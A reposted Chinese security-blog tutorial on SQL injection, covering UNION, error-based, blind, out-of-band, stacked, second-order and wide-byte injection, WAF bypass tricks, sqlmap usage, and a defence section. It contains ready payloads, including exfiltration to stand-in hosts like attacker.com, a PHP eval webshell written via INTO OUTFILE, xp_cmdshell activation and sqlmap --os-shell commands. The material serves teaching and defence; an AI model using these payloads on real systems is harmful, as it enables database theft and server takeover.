文章总结: 本文全面总结了SQL注入漏洞的原理、危害与利用技术,涵盖联合查询、报错注入、盲注、堆叠注入及二次注入等类型。文中对比了主流数据库差异,汇总了多种WAF绕过技巧,并给出SQLMap实战命令与防御方案,构建了从理论到实战的完整知识体系。 综合评分: 90 文章分类: WEB安全,漏洞分析,渗透测试,安全工具
SQL 注入漏洞总结
x7ovl x7ovl
xsec
2026年2月26日 14:20 北京
── 摘要 · ABSTRACT ──
SQL 注入(SQL Injection)是历史最悠久、危害最深远的 Web 安全漏洞之一,连续多年高居 OWASP Top 10 榜单。攻击者通过在用户可控输入中插入恶意 SQL 语句,操控后端数据库执行非预期查询,可导致数据泄露、数据篡改、权限绕过乃至服务器沦陷。本文系统梳理 SQL 注入的全部主流类型、利用技术、WAF 绕过手法与防御实践,构建完整的知识体系。
01什么是 SQL 注入
SQL 注入的本质是:用户可控数据被拼接进 SQL 语句,导致数据与代码的边界被打破。数据库无法区分”合法查询”与”攻击者注入的恶意逻辑”,从而执行了攻击者期望的操作。
❌ 漏洞代码示例(PHP + MySQL)
// ❌ 危险:直接拼接用户输入
$username =$_GET[‘username’];
$sql =”SELECT * FROM users WHERE username='”.$username .”‘”;
// 正常请求:username=admin
// → SELECT * FROM users WHERE username=’admin’
// 注入攻击:username=’ OR ‘1’=’1
// → SELECT * FROM users WHERE username=” OR ‘1’=’1’// → 返回所有用户!
✅ 安全代码示例(预编译参数化查询)
// ✅ 安全:使用预编译语句
$stmt =$pdo->prepare(“SELECT * FROM users WHERE username = ?”);
$stmt->execute([$_GET[‘username’]]);// 无论输入什么,都只会被当作”数据”,永不被执行
SQL 注入可造成的危害:
| | | | — | — | | 数据泄露 | 读取数据库中所有数据,包括用户密码、个人信息、商业机密 | | 权限绕过 | 绕过登录验证,以任意用户(含管理员)身份登录 | | 数据篡改 | INSERT/UPDATE/DELETE 任意数据,破坏数据完整性 | | 文件读写 | 利用 LOAD_FILE/INTO OUTFILE 读写服务器文件,写入 WebShell | | 命令执行 | 通过 xp_cmdshell(MSSQL)、UDF 等执行系统命令,完整 RCE |
02注入类型全景图
SQL 注入分类体系
| | | | — | — | | 按回显分 | 有回显无回显(盲注)带外(OOB) | | | | | 按技术分 | UNION 联合查询报错注入布尔盲注时间盲注堆叠注入 | | | | | 按位置分 | GET参数POST参数HTTP HeaderCookieJSON/XML | | | | | 特殊类型 | 二次注入宽字节注入ORDER BY注入DNSlog注入 |
03联合查询注入(UNION-based)
UNION 注入是最直观、效率最高的注入方式,前提是页面有数据回显。攻击者通过UNION SELECT 将额外查询结果”拼接”到正常结果中返回。
// 完整利用步骤
STEP 1 · 判断注入点类型
数字型注入探测
?id=1 AND 1=1 — 返回正常
?id=1 AND 1=2 — 返回异常 → 存在注入
字符型注入探测
?id=1′ — 报错 → 存在字符型注入
?id=1′ –+ — 正常 → 确认注释有效
STEP 2 · 确定列数(ORDER BY / UNION NULL)
方法一:ORDER BY 二分法
?id=1′ ORDER BY3 –+ — 正常
?id=1′ ORDER BY4 –+ — 报错 → 共 3 列
方法二:UNION NULL 探测
?id=1′ UNION SELECT NULL,NULL,NULL –+ — 3个NULL正常
STEP 3 · 确定回显位置
用数字标记找到哪个字段显示在页面上
?id=-1′ UNION SELECT’A’,’B’,’C’ –+ — 页面显示 B → 第 2 列为回显位
STEP 4 · 信息收集 → 拖库
获取数据库版本、当前库名、用户
?id=-1′ UNION SELECTversion(),database(),user() –+
获取所有数据库名
?id=-1′ UNION SELECTgroup_concat(schema_name),2,3 FROM information_schema.schemata –+
获取指定库的所有表名
?id=-1′ UNION SELECTgroup_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema=’security’ –+
获取表的所有列名
?id=-1′ UNION SELECTgroup_concat(column_name),2,3 FROM information_schema.columns WHERE table_name=’users’ –+
最终:dump 数据
?id=-1′ UNION SELECTgroup_concat(username,’:’,password),2,3 FROM security.users –+
!
适用条件
UNION 注入要求:① 页面有数据回显;② UNION 前后查询列数相同;③ 对应位置数据类型兼容。无回显场景须改用盲注技术。
04报错注入(Error-based)
当页面显示数据库错误信息,但不直接回显查询结果时,可利用报错注入。其原理是构造特定的函数调用,让数据库在报错信息中把查询结果带出来。
| 函数 | 利用原理 | 数据库 | | — | — | — | | extractvalue() | XPath 语法错误,将查询结果嵌入错误信息输出 | MySQL | | updatexml() | 同上,更新 XML 时 XPath 错误触发,结果长度限制 32 字符 | MySQL | | floor(rand()*2) | GROUP BY 主键重复错误,将结果嵌入错误信息,无长度限制 | MySQL | | convert() | 类型转换失败,错误信息中暴露数据值 | MSSQL | | XMLType() | Oracle 特有的 XML 解析错误泄露数据 | Oracle |
SQLMySQL 报错注入常用 Payload
— 1. extractvalue() 获取当前数据库
‘ ANDextractvalue(1,concat(0x7e,database())) –+ — 报错:XPATH syntax error: ‘~security’
— 2. updatexml() 获取版本信息
‘ ANDupdatexml(1,concat(0x7e,version()),1) –+
— 3. updatexml() 获取表名(超 32 字符用 substr 分页)
‘ANDupdatexml(1,concat(0x7e, (SELECTgroup_concat(table_name)FROM information_schema.tablesWHERE table_schema=database())),1) –+
— 4. floor(rand()*2) 无长度限制版本
‘AND(SELECT1FROM(SELECT COUNT(*),concat( (SELECTuser()),floor(rand()*2)) xFROM information_schema.tablesGROUP BY x) a) –+
05布尔盲注(Boolean-based Blind)
当页面没有任何数据回显,但在条件为真/假时返回不同的页面状态(如有无内容、不同提示文字),即可使用布尔盲注。通过逐字符二分猜测来还原数据。
SQL布尔盲注 Payload 详解
— 核心思路:用 ASCII + SUBSTR 逐字符二分猜测–
Step1:判断数据库名长度
?id=1′ ANDlength(database())=8 –+ — 返回正常 → 数据库名长度为 8–
Step2:逐字符猜测(二分法)
?id=1′ ANDascii(substr(database(),1,1))>100 –+ — 正常
?id=1′ ANDascii(substr(database(),1,1))>110 –+ — 异常
?id=1′ ANDascii(substr(database(),1,1))=115 –+ — 正常 → 第1位=’s’–
Step3:猜表名(同理)
?id=1′ ANDascii(substr( (SELECT table_nameFROM information_schema.tablesWHERE table_schema=database()LIMIT0,1),1,1))=101 –+
— 也可以使用 regexp 或 like 替代 ascii+substr
?id=1′ AND (SELECTsubstr(table_name,1,1)FROM information_schema.tablesWHERE table_schema=database()LIMIT0,1) REGEXP’^e’ –+
i
效率说明
手工布尔盲注效率极低,实战中应配合 SQLMap 的--technique=B 参数自动化利用。猜测一个 8 字符的字符串理论上只需约 56 次请求(每字符 7 次二分)。
06时间盲注(Time-based Blind)
当页面无论成功或失败都返回完全相同的响应时,布尔盲注也失效。此时可利用时间延迟来推断条件是否为真——条件真则延迟,条件假则不延迟。
| 数据库 | 延迟函数 | 示例 | | — | — | — | | MySQL | sleep(N) | IF(1=1, sleep(3), 0) | | MySQL | benchmark(N,expr) | benchmark(5000000, md5(1)) | | MSSQL | WAITFOR DELAY | WAITFOR DELAY ‘0:0:5’ | | PostgreSQL | pg_sleep(N) | SELECT pg_sleep(5) | | Oracle | dbms_pipe.receive | dbms_pipe.receive_message(‘a’,5) |
SQLMySQL 时间盲注完整示例
— 基础验证:条件为真时延迟 5 秒
?id=1′ ANDIF(1=1,sleep(5),0) –+
— 猜测数据库名第一个字母 ASCII > 100?
?id=1′ ANDIF(ascii(substr(database(),1,1))>100,sleep(5),0) –+
— 响应时间 ≥5s → 条件真;<1s → 条件假– 提取表名(逐字符时间盲注)
?id=1′ ANDIF(ascii(substr( (SELECT table_nameFROM information_schema.tablesWHERE table_schema=database()LIMIT0,1),1,1))=117,sleep(3),0) –+
— 延迟 → 首字母 ASCII=117 即 ‘u’
07带外注入(OOB)与堆叠注入
// 带外注入(Out-of-Band)
当时间盲注因网络不稳定(延迟波动大)而难以准确判断时,带外注入通过让数据库主动向攻击者服务器发起 DNS 或 HTTP 请求,将查询结果附在请求中带出,更为可靠。
SQLOOB 注入 Payload(需数据库高权限)
— MySQL:利用 load_file + UNC 路径(Windows 环境)
‘ANDload_file(concat(‘\\’,database(),’.attacker.dnslog.cn\’,’a’)) –+
— DNS 请求:security.attacker.dnslog.cn → 数据库名泄露– Oracle:利用 UTL_HTTP 发起 HTTP 请求带出数据
‘||UTL_HTTP.request(‘http://attacker.com/?d=’|| (SELECTuserFROM dual )) —
— MSSQL:利用 master..xp_dirtree 发起 DNS 请求
‘; EXEC master..xp_dirtree’\’ + (SELECTTOP1 nameFROM sys.databases) +’.attacker.dnslog.cn\a’ —
// 堆叠注入(Stacked Queries)
通过分号; 同时执行多条 SQL 语句,可执行 INSERT/UPDATE/DROP 等写操作,危害极大。MySQL + PHP PDO、MSSQL、PostgreSQL 均支持;原生 MySQL API 默认不支持。
SQL堆叠注入 Payload
— MySQL 写 WebShell(需 FILE 权限)
‘;SELECT’<?php@eval($_POST[cmd])?>‘INTO OUTFILE’/var/www/html/shell.php’ –+
— MSSQL 开启 xp_cmdshell 执行系统命令
‘; EXEC sp_configure’show advanced options’,1; RECONFIGURE; EXEC sp_configure’xp_cmdshell’,1; RECONFIGURE; –‘; EXEC xp_cmdshell’whoami’
—- 添加管理员账户
‘;INSERT INTO users(username,password)VALUES(‘hacker’,md5(‘hack123’)) –+
08二次注入 & 宽字节注入
// 二次注入(Second-Order Injection)
攻击者将恶意数据先存入数据库(此时经过了转义,看似安全),之后当系统从数据库读取该数据并再次拼接进 SQL 语句时,恶意数据不再被转义,触发注入。典型场景:注册用户名admin'--,在修改密码功能中触发。
二次注入流程
| | | | | | | |
| — | — | — | — | — | — | — |
| 1 注册用户名 admin'-- | → | 2 转义后存入 DB:admin\'-- | → | 3 读取时还原 为admin'-- | → | 💥 二次拼接 注入触发! |
// 宽字节注入(Wide-byte Injection)
在 GBK 等宽字节编码下,当程序使用addslashes() 将' 转义为\'(即0x27 →0x5c27),攻击者在' 前加入%df,使%df%5c 被 GBK 解析为一个汉字(縗),从而吃掉反斜杠,使引号逃逸。
PAYLOAD宽字节注入示例(GBK编码)
原始 Payload
?id=1%df’ UNION SELECT 1,2,3 –+
处理过程:
输入: 0xdf 0x27# addslashes:0xdf 0x5c 0x27 (加入反斜杠)
GBK解码: 0xdf5c=縗 + 0x27=’# 反斜杠被吃掉,引号成功逃逸!
防御:使用 mysql_set_charset(‘utf8’) 或 PDO
09不同数据库的注入差异
| 特性 | MySQL | MSSQL | Oracle | PostgreSQL | | — | — | — | — | — | | 注释符 | — / # | — | — | — | | 字符串拼接 | concat(a,b) | a+b | a||b | a||b | | 获取当前库 | database() | db_name() | ora_database_name | current_database() | | 获取版本 | version() | @@version | v$version | version() | | 系统表 | information_schema | sysobjects | all_tables | information_schema | | 延迟函数 | sleep(N) | WAITFOR DELAY | dbms_pipe.receive | pg_sleep(N) | | 堆叠注入 | PDO 支持 | 原生支持 | 不支持 | 原生支持 | | 写文件 | INTO OUTFILE | xp_cmdshell | 受限 | COPY TO |
10WAF 绕过技巧汇总
WAF(Web 应用防火墙)基于规则匹配过滤恶意请求,但规则往往无法覆盖所有变种。以下是实战中常用的绕过维度:
① 注释符与内联注释绕过
MySQL 内联注释(被当作注释但数据库执行)
UNION/**/SELECTUN/**/ION SEL/**/ECTUNION/*!32302 SELECT*/–
版本号条件注释# 编码绕过
%23 = #
%2d%2d = —
%20 = (空格)
双重URL编码
%2527 → %27 → ‘
② 大小写混淆 & 关键词拆分
UnIoN SeLeCt# 大小写混淆
UNunionION SEselectLECT# 双写绕过(过滤后拼起来还是关键词)
UNION%0aSELECT# 换行符替代空格
UNION%09SELECT# TAB 替代空格
UNION%0d%0aSELECT# CRLF 替代空格
③ 空格替代方案
以下字符均可在 MySQL 中替代空格
/*注释*/
%09(TAB)
%0a(换行)
%0c(换页)%0d(回车)
%0b(垂直TAB)
()(括号)
示例
UNION(SELECT(1),(2),(3))SELECT(1)FROM(users)WHERE(1)=1
④ 等价函数 & 表达式替换
等号替代= → LIKE / REGEXP / IN / BETWEEN
substr 替代substr(str,1,1) → mid(str,1,1) → left(str,1)
ASCII 替代ascii() → ord() → hex()
if 替代if(cond,a,b) → case when cond then a else b end
字符串构造(绕过引号过滤)’admin’ → 0x61646d696e → char(97,100,109,105,110)
⑤ HTTP 层面绕过
分块传输(Chunked Transfer)绕过 WAF
Transfer-Encoding: chunked→ 请求体被分块,WAF 无法拼接完整 Payload 检测
参数污染 (HPP)
?id=1&id=UNION SELECT 1,2,3→ 某些 WAF 只检测第一个参数
修改 Content-Type 绕过
Content-Type: application/json → {“id”:”1′ UNION SELECT …”}Content-Type: multipart/form-data → 分片传输注入
11SQLMap
SQLMap 是最强大的自动化 SQL 注入工具,支持全类型注入、多数据库、自动化 Dump 等功能。以下为渗透测试中最常用的命令组合:
terminal — SQLMap 常用命令
──────────────── 基础检测 ────────────────
sqlmap -u”http://target.com/page?id=1″sqlmap -u”…” –dbs# 枚举所有数据库
sqlmap -u”…” -D security –tables
枚举指定库的表sqlmap -u”…” -D security -T users –columns
枚举列sqlmap -u”…” -D security -T users -C username,password –dump# Dump
──────────────── POST 注入 ────────────────
sqlmap -u”http://target.com/login” \ –data”username=admin&password=123″ \ -p username –dbs
──────────────── Cookie 注入 ────────────────
sqlmap -u”http://target.com/” \ –cookie”PHPSESSID=abc; userid=1″ \ -p userid –dbs
──────────────── 使用 Burp 抓包文件 ────────────────
sqlmap -r request.txt -p id –dbs
──────────────── 指定注入技术 ────────────────
sqlmap -u”…” –technique=BEUSTQ# B=布尔盲注 E=报错注入 U=联合查询 S=堆叠 T=时间盲注 Q=内联查询
──────────────── WAF 绕过 ────────────────
sqlmap -u”…” –tamper=space2comment,randomcase,betweensqlmap -u”…” –random-agent –delay=2 –level=5 –risk=3
──────────────── 高权限利用 ────────────────
sqlmap -u”…” –file-read=”/etc/passwd”sqlmap -u”…” –file-write=”shell.php” –file-dest=”/var/www/html/s.php”sqlmap -u”…” –os-shell# 获取交互式系统命令行
常用 Tamper 脚本速查:
| Tamper | 作用 | | — | — | | space2comment | 空格替换为 /**/ | | randomcase | 关键词随机大小写混淆 | | between | 用 BETWEEN 替代 > 和 = | | charencode | URL 编码所有字符 | | equaltolike | = 替换为 LIKE | | unionalltounion | UNION ALL SELECT 替换为 UNION SELECT | | modsecurityversioned | 针对 ModSecurity 的版本号注释绕过 |
12完整防御方案
✓
核心原则
根本防御 = 预编译(参数化查询)+ 最小权限 + 输入验证。WAF 和错误信息屏蔽是辅助手段,不能替代根本修复。
// 第一道防线:预编译参数化查询(最重要)
CODE各语言预编译写法
// ── PHP (PDO) ──
$stmt =$pdo->prepare(“SELECT * FROM users WHERE id = :id”);
$stmt->bindParam(‘:id’,$id, PDO::PARAM_INT);
$stmt->execute();
// ── Java (PreparedStatement) ──
PreparedStatement stmt = conn.prepareStatement(“SELECT * FROM users WHERE id = ?”);
stmt.setInt(1, userId);ResultSet rs = stmt.executeQuery();
// ── Python (sqlite3 / mysql-connector) ──
cursor.execute(“SELECT * FROM users WHERE id = %s”, (user_id,)# 元组形式传参,驱动负责转义)// ── Node.js (mysql2) ──connection.execute(‘SELECT * FROM users WHERE id = ?’, [userId], (err, results) => { … });
// 完整防御体系清单
| | |
| — | — |
| ✓ | 预编译参数化查询 ——彻底解决拼接问题,是根本防御措施,无论如何必须执行 |
| ✓ | 最小权限原则 ——应用程序数据库账号只授予必要权限(SELECT/INSERT),禁止 FILE、SUPER 等高危权限 |
| ✓ | 输入验证与白名单 ——对类型、长度、格式严格校验;ORDER BY 列名等不能参数化的场景使用白名单映射 |
| ⚠ | ORM 框架 ——使用 MyBatis、Hibernate、Django ORM 等,但警惕原生 SQL 拼接(${} 而非 #{}) |
| ✓ | 屏蔽错误信息 ——生产环境禁止显示详细数据库错误,统一返回自定义错误页(防止报错注入) |
| ✓ | WAF 部署 ——作为辅助纵深防御,过滤明显的注入 Payload,同时建立告警与监控 |
| ✓ | 定期代码审计 ——使用 SAST 工具(Checkmarx、SonarQube)扫描拼接 SQL,结合人工审计 |
| ✓ | 数据库加密 ——敏感字段(密码)使用强哈希(bcrypt/Argon2),即使被 Dump 也无法直接使用 |
| i | SQL 注入检测日志 ——在数据库或应用层记录异常查询,接入 SIEM 实现实时告警与溯源 |
// 正文结束 · END //
本文所有技术内容仅供网络安全学习与研究,均在授权或靶场环境下验证。 严禁将本文所述技术用于未经授权的攻击行为,违者自负法律责任。
© 2026 转载请注明出处
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:xsec x7ovl x7ovl《SQL 注入漏洞总结》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论